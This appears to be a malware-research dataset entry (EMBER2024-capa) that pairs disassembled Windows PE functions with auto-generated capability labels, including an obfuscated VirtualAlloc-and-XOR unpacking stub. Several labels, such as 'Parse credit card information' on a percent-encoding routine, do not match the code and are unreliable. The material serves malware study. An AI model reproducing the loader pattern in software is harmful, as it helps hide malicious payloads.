joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4922c0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x4ff98f], 0
push ebx
push esi
jne 0x492313
mov ecx, str.secur32.dll
call fcn.0048fb20
mov ecx, str.sspicli.dll
mov esi, eax
call fcn.0048fb20
test esi, esi
je 0x492303
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x500338], eax
mov byte [0x4ff98f], 1
jmp 0x492318
xor eax, eax
mov byte [0x4ff98f], 1
mov dword [0x500338], eax
jmp 0x492318
mov eax, dword [0x500338]
test eax, eax
je 0x49237d
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push 0
push 8
call eax
mov ecx, dword [ebp - 4]
mov edx, 1
push 0
call fcn.0048ffe0
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 8
call dword [0x500338]
test al, al
setne bl
test al, al
je 0x492376
push 0x40
push esi
call fcn.00496d20
add esp, 8
test eax, eax
je 0x4923cd
mov byte [eax], 0
xor eax, eax
test bl, bl
cmovne eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, esi
call fcn.00490070
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x49239e
mov ecx, pe_nt_image_headers32
mov dword [ebp - 4], ecx
jmp 0x4923a1
mov ecx, dword [ebp - 4]
push 0
mov edx, 1
call fcn.0048ffe0
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
setne bl
test eax, eax
jne 0x4923cd
mov ecx, esi
call fcn.00490070
xor eax, eax
test bl, bl
cmovne eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x493df0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4fc040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
xor esi, esi
mov bl, byte [esi + ecx]
lea eax, [ebx - 0x41]
cmp al, 0x19
ja 0x493e19
movsx eax, bl
sub eax, 0x41
jmp 0x493e5b
lea eax, [ebx - 0x61]
cmp al, 0x19
ja 0x493e28
movsx eax, bl
sub eax, 0x47
jmp 0x493e5b
lea eax, [ebx - 0x30]
cmp al, 9
ja 0x493e37
movsx eax, bl
add eax, 4
jmp 0x493e5b
cmp bl, 0x2b
jne 0x493e43
mov eax, 0x3e
jmp 0x493e5b
cmp bl, 0x2f
jne 0x493e4f
mov eax, 0x3f
jmp 0x493e5b
cmp bl, 0x3d
jne 0x493ed8
or eax, 0xffffffff
mov dword [ebp + esi*4 - 0x14], eax
inc esi
cmp esi, 4
jl 0x493e07
mov edx, dword [ebp - 0x14]
cmp edx, 0xffffffff
je 0x493ed8
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffffff
je 0x493ed8
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, 0xffffffff
jne 0x493e89
cmp eax, ecx
jne 0x493ed8
lea ebx, [ecx + 2]
jmp 0x493e94
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
add ebx, 2
shl edx, 6
and ecx, 0x3f
or edx, esi
and eax, 0x3f
shl edx, 6
or edx, ecx
shl edx, 6
or edx, eax
mov eax, edx
shr eax, 0x10
mov byte [edi], al
cmp ebx, 1
jbe 0x493ebd
mov ecx, edx
shr ecx, 8
mov byte [edi + 1], cl
cmp ebx, 2
jbe 0x493ec5
mov byte [edi + 2], dl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00495b16
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00495b16
mov esp, ebp
pop ebp
ret
Function at 0x494a20
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
xor esi, esi
mov dword [ebp - 0xc], edx
push edi
mov ebx, ecx
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
xor edi, edi
call fcn.0040a030
test al, al
je 0x494a5d
push edx
lea eax, [ebp - 8]
mov ecx, 0x1f0001
push eax
lea edx, [ebp - 4]
call fcn.0048d140
mov esi, dword [ebp - 4]
add esp, 8
test al, al
je 0x494aa9
push ebx
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xc
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
test edi, edi
jne 0x494aa0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.0048fb60
push eax
push ebx
push str.CreateMutex___s___failed:__s
call fcn.00490340
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov dword [ecx], eax
jmp 0x494aa9
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x494ab6
push esi
call ebx
mov eax, dword [ebp - 8]
test eax, eax
je 0x494ac0
push eax
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x494e90
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor bl, bl
mov al, byte [esi]
test al, al
je 0x494f00
push edi
lea edi, [edx + 0xc]
cmp al, 0x20
je 0x494ec4
cmp al, 0x5c
je 0x494ec4
cmp al, 0x2a
je 0x494ec4
cmp al, 0x3f
je 0x494ec4
cmp al, 0x25
je 0x494ec4
lea ecx, [eax - 0x20]
cmp cl, 0x5e
ja 0x494ec4
cmp al, 0x2e
jne 0x494eec
test bl, bl
jne 0x494eec
mov dl, 0x25
mov ecx, edi
call fcn.0048f460
movzx edx, byte [esi]
mov ecx, edi
shr edx, 4
mov dl, byte [edx + str.0123456789ABCDEF]
call fcn.0048f460
movzx eax, byte [esi]
and eax, 0xf
mov al, byte [eax + str.0123456789ABCDEF]
mov dl, al
mov ecx, edi
call fcn.0048f460
mov al, byte [esi + 1]
inc esi
mov bl, 1
test al, al
jne 0x494ea0
pop edi
pop esi
pop ebx
ret

Function at 0x4959f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
xor edi, edi
test esi, esi
je 0x495a17
sub ebx, ecx
movzx edx, byte [ebx + ecx]
lea ecx, [ecx + 1]
movzx eax, byte [ecx - 1]
xor edx, eax
or edi, edx
sub esi, 1
jne 0x495a03
mov eax, pe_nt_image_headers32
sub eax, edi
pop edi
pop esi
shr eax, 8
pop ebx
pop ebp
ret

Function at 0x495a30
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x500340]
test eax, eax
jne 0x495a87
push esi
push dword [0x500344]
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push eax
call esi
cmp eax, dword [0x500344]
jb 0x495a81
mov ecx, dword [0x500340]
mov edx, 0x500344
push 0
push 1
push eax
push 1
call fcn.00490080
add esp, 0x10
mov dword [0x500340], eax
push dword [0x500344]
push eax
call esi
cmp eax, dword [0x500344]
jae 0x495a51
mov eax, dword [0x500340]
pop esi
ret
Function at 0x496480
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4964bf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4964bf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4964bf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4964bf
cmp dword [ecx + 0x74], 0xe
jbe 0x4964bf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4ad436
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ad3b8

Function at 0x4addb5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4fd490]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4addf5
cmp byte [ebx], 0xa
jne 0x4addf5
or byte [eax + edi + 0x28], 4
jmp 0x4addfa
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4adef8
mov al, byte [edx]
cmp al, 0x1a
je 0x4adeda
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4ade29
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4ade4e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4ade58
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4ade0b
jmp 0x4adef8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4aded5
cmp dword [ebp - 0xc], 0
je 0x4aded5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4fd490]
test byte [eax + edi + 0x28], 0x48
je 0x4adeaf
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4ade9a
mov byte [esi], dl
jmp 0x4adeab
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4fd490]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4adef8
cmp byte [ebp - 1], 0xa
jne 0x4adebe
cmp esi, ebx
jne 0x4adebe
mov byte [esi], 0xa
jmp 0x4adef7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004b9689
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4adef8
mov byte [esi], 0xd
jmp 0x4adef7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4fd490]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4adef4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4adef8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4adf01
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4fd490]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4adf44
cmp word [esi], dx
jne 0x4adf44
or byte [edi + eax + 0x28], 4
jmp 0x4adf49
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4ae09c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4ae07c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4adf8b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4adfc1
cmp eax, edx
jae 0x4adfcd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4adf63
jmp 0x4ae09c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4ae078
cmp dword [ebp - 0x14], 0
je 0x4ae078
mov eax, dword [ebx*4 + 0x4fd490]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4ae050
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4ae019
mov word [esi], cx
jmp 0x4ae04c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4fd490]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4fd490]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4fd490]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4ae09c
pop ebx
cmp word [ebp - 4], bx
jne 0x4ae061
cmp esi, dword [ebp + 0xc]
jne 0x4ae061
mov word [esi], bx
jmp 0x4ae099
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004b9689
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4ae09c
push 0xd
jmp 0x4ae095
mov ecx, dword [ebx*4 + 0x4fd490]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4ae093
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4ae09c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4ae8bd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ae72e
Function at 0x4b16ff
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4c3300
push 0x4c32f8
push str.FlsAlloc
push 0x1e
call fcn.004b14ec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4b1733
push dword [ebp + 8]
mov ecx, esi
call dword [0x4bf6bc]
call esi
jmp 0x4b1739
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4b177d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4c3310
push 0x4c3308
push str.FlsGetValue
push 0x20
call fcn.004b14ec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4b17b4
push dword [ebp + 8]
mov ecx, esi
call dword [0x4bf6bc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4b3207
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4b32a4
push ebx
push esi
call fcn.004b31d0
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004af787
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4b3251
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4b32a3
push edi
push eax
call fcn.004aafda
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4b3271
call fcn.004aafa0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4b32a2
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004af787
add esp, 0x20
test eax, eax
jne 0x4b3290
push edi
call fcn.004aafa0
jmp 0x4b3298
push ebx
call fcn.004aafa0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4b32a7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4b32b8
pop esi
ret
push ebx
push edi
push esi
call fcn.004b31d0
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004aafda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4b32e0
push ebx
push esi
push edi
call fcn.00497c70
add esp, 0xc
push 0
call fcn.004aafa0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4b3a2c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004b3553
Function at 0x4bad3a
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004bacb6
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4baeb2
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4baeb2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4bae61
jg 0x4bad93
test eax, eax
je 0x4bae57
push 1
push 0x1000
call fcn.004acef8
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4badb9
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4bae4e
push 0x8000
push ebx
call fcn.004a8c7f
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4bade5
jg 0x4bade0
cmp ecx, 0x1000
jb 0x4bade5
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004af50b
add esp, 0x10
cmp eax, 0xffffffff
je 0x4bae2a
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4bade0
jl 0x4bae11
test ecx, ecx
jne 0x4badd2
push dword [ebp - 0xc]
push ebx
call fcn.004a8c7f
push esi
call fcn.004aafa0
add esp, 0xc
xor edi, edi
jmp 0x4baec3
cmp byte [edi + 0x24], 0
je 0x4bae41
cmp dword [edi + 0x20], 5
jne 0x4bae41
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4bae4c
mov edi, dword [edi + 0x18]
jmp 0x4bae4e
xor edi, edi
push esi
call fcn.004aafa0
pop ecx
jmp 0x4baec3
test ecx, ecx
jg 0x4bae23
jl 0x4bae61
test eax, eax
jae 0x4bae23
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004b9689
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4bae84
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4bae23
jmp 0x4baebb
push ebx
call fcn.004b3e01
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4bae23
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x4baec3
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4baec0
mov edi, dword [edi + 0x18]
jmp 0x4baec3
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004b9689
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4bcde0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4bce0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4bce0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10008ec6
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x1000c3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000c40a
pop dword [ebp - 0x2c]
mov eax, 0xe5ed07f1
sub eax, 0xd5ec43e7
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x36338
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x9ba4609a
sub ecx, 0x9ba41d8a
mov edx, eax
mov edi, 0x10021400
add edi, dword [ebp - 0x2c]
mov esi, 0xeb3f22a0
xor dword [ebp - 0x1c], edi
mov ebx, dword [edi]
xor ebx, esi
xor dword [ebp - 8], 0xf18cc093
mov dword [edx], ebx
add edx, 0xc56dadae
add edx, 0x3a925256
add edi, 4
loop 0x1000c458
add eax, 0x5384e930
sub eax, 0x5383ea1d
xor ebx, ebx
add ebx, eax
add eax, 0x5bf66575
sub eax, 0x5bf66570
mov ecx, 0x1d173d66
sub ecx, 0xd173d66
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10009276
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94c
mov eax, dword [0x10046040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.100119dd
test eax, eax
js 0x10009504
push 0x104
lea eax, [ebp - 0x13c]
push eax
push dword [0x1004603c]
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov edi, 0x100012dc
push edi
lea eax, [ebp - 0x34]
push 0x2d
push eax
call fcn.1001d956
add esp, 0xc
xor ebx, ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push ebx
push 0x10001354
push 2
push 0x10003584
mov byte [ebp - 0x2f], 0x5c
call fcn.1001d956
test eax, eax
je 0x100092f3
mov eax, 0x80040201
jmp 0x10009504
push ebx
lea eax, [ebp - 0x13c]
push eax
push ebx
push 0x1000136c
push 3
push 0x10003234
call fcn.1001d956
test eax, eax
jne 0x100092e9
push 1
lea eax, [ebp - 0x13c]
push eax
push ebx
push 0x10001388
push 4
mov esi, 0x10003304
push esi
call fcn.1001d956
test eax, eax
jne 0x100092e9
mov ebx, dword [sym.imp.USER32.dll_LoadStringA]
push 0x800
lea eax, [ebp - 0x93c]
push eax
push 5
push dword [0x1004603c]
call ebx
test eax, eax
jne 0x10009357
mov byte [ebp - 0x93c], al
lea eax, [ebp - 0x93c]
push eax
push 0
push 0
push 0x100013a4
call fcn.1001d956
test eax, eax
jne 0x100092e9
lea eax, [ebp - 0x2e]
push eax
push esi
call fcn.1001d956
lea eax, [ebp - 0x2e]
push eax
push edi
push 0
push 0x100013a4
call fcn.1001d956
test eax, eax
jne 0x100092e9
push eax
lea eax, [ebp - 0x13c]
push eax
push 0
push 0x100013c0
push 6
push 0x10003434
call fcn.1001d956
test eax, eax
jne 0x100092e9
push eax
lea eax, [ebp - 0x13c]
push eax
push 0
push 0x100013dc
push 7
push 0x10003444
call fcn.1001d956
test eax, eax
jne 0x100092e9
push eax
lea eax, [ebp - 0x13c]
push eax
push 0
push 0x100013fc
push 9
push 0x10003454
call fcn.1001d956
test eax, eax
jne 0x100092e9
push 0x10001424
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x94c], eax
call dword [sym.imp.kernel32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 0x940]
push eax
push 1
push 0
push 0x10001434
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009502
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x944]
push eax
push 0
lea eax, [ebp - 0x948]
push eax
push 0
push 0x100012a8
push dword [ebp - 0x940]
call edi
test eax, eax
jne 0x10009502
mov eax, dword [ebp - 0x944]
inc eax
add eax, esi
mov dword [ebp - 0x944], eax
call fcn.10009f0e
mov esi, esp
test esi, esi
je 0x10009502
lea eax, [ebp - 0x94c]
push eax
push esi
lea eax, [ebp - 0x948]
push eax
push 0
push 0x100012a8
push dword [ebp - 0x940]
call edi
test eax, eax
jne 0x10009502
push dword [ebp - 0x940]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10001424
push dword [ebp - 0x944]
push esi
call fcn.1001d956
push 0x10001450
lea eax, [ebp - 0x13c]
push 0x106
push eax
call fcn.1001d956
add esp, 0xc
push 0x800
lea eax, [ebp - 0x93c]
push eax
push 1
push dword [0x1004603c]
call ebx
test eax, eax
jne 0x10009502
mov eax, 0xc7ce0017
jmp 0x10009504
xor eax, eax
lea esp, [ebp - 0x958]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009f00
leave
ret